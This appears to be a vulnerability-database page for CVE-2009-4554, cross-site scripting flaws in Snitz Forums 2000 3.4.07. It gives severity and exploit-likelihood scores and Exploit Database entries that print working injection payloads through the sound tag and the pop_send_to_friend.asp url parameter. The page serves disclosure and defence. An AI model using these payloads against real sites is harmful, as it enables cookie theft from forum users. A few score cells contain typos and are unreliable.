CVE-2009-4554

CVE Descriptions

Multiple cross-site scripting (XSS) vulnerabilities in Snitz Forums 2000 3.4.07 allow remote attackers to inject arbitrary web script or HTML via (1) the url parameter to pop_send_to_friend.asp, related to a crafted onload attribute of an IMG element; or (2) an onload attribute in a sound tag.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.3		AV:N/AC:M/Au:N/C:N/I:P/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.95%	–	–
2022-02-13	–	–	2.95%	–	–
2022-04-03	–	–	2.95%	–	–
2022-07-17	–	–	2.95%	–	–
2023-02-26	–	–	2.95%	–	–
2023-03-12	–	–	–	0.52%	–
2023-06-11	–	–	–	0.52%	–
2023-11-26	–	–	–	0.35%	–
2024-02-11	–	–	–	0.35%	–
2024-04-14	–	–	–	0.31%	–
2024-06-02	–	–	–	0.31%	–
2024-08-25	–	–	–	0.31%	–
2024-09-22	–	–	–	0.31%	–
2024-10-13	–	–	–	0.31%	–
2024-12-22	–	–	–	0.44%	–
2024-12-29	–	–	–	0.44%	–
2025-01-19	–	–	–	0.44%	–
2025-03-18	–	–	–	–	0.37%
2025-03-30	–	–	–	–	0.52%
2025-04-15	–	–	–	–	0.52%
2025-04-16	–	–	–	–	0.52%
2025-04-16	–	–	–	–	0.52,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	64%
2022-02-13	65%
2022-04-03	82%
2022-07-17	83%
2023-02-26	84%
2023-03-12	73%
2023-06-11	74%
2023-11-26	69%
2024-02-11	71%
2024-04-14	7%
2024-06-02	7%
2024-08-25	71%
2024-09-22	7%
2024-10-13	71%
2024-12-22	74%
2024-12-29	75%
2025-01-19	75%
2025-03-18	57%
2025-03-30	64%
2025-04-15	65%
2025-04-16	66%
2025-04-16	66%

Exploit information

Exploit Database EDB-ID : 9856

Publication date : 2009-10-14 22h00 +00:00
Author : Andrea Fabrizi
EDB Verified : Yes

************************************************************** Application: Snitz Forums 2000 Version affected: 3.4.07 Website: http://forum.snitz.com/ Discovered By: Andrea Fabrizi Email: andrea.fabrizi () gmail com Web: http://www.andreafabrizi.it Vuln: Multiple Cross-Site Scripting ************************************************************** ###### PERMANENT XSS If [sound] tag is allowed: [sound]http://url_to_valid_mp3_or_m3u_file.m3u"; onLoad="alert(document.cookie)[/sound] ###### ###### LINK XSS http://localhost/forum/pop_send_to_friend.asp?url=</textarea><img src="http://www.google.it/intl/it_it/images/logo.gif"; onLoad ="alert(document.cookie)"> Note the space: onLoad<space>="alert(document.cookie)" ######

Exploit Database EDB-ID : 33290

Publication date : 2009-10-14 22h00 +00:00
Author : Andrea Fabrizi
EDB Verified : Yes

source: https://www.securityfocus.com/bid/36710/info Snitz Forums 2000 is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. Snitz Forums 2000 3.4.07 is vulnerable; other versions may also be affected. http://www.example.com/forum/pop_send_to_friend.asp?url=</textarea><img src="http://www.google.it/intl/it_it/images/logo.gif" onLoad ="alert(document.cookie)">

Exploit Database EDB-ID : 33291

Publication date : 2009-10-14 22h00 +00:00
Author : Andrea Fabrizi
EDB Verified : Yes

source: https://www.securityfocus.com/bid/36710/info Snitz Forums 2000 is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. Snitz Forums 2000 3.4.07 is vulnerable; other versions may also be affected. [sound]http://www.example.com" onLoad="alert(document.cookie)[/sound]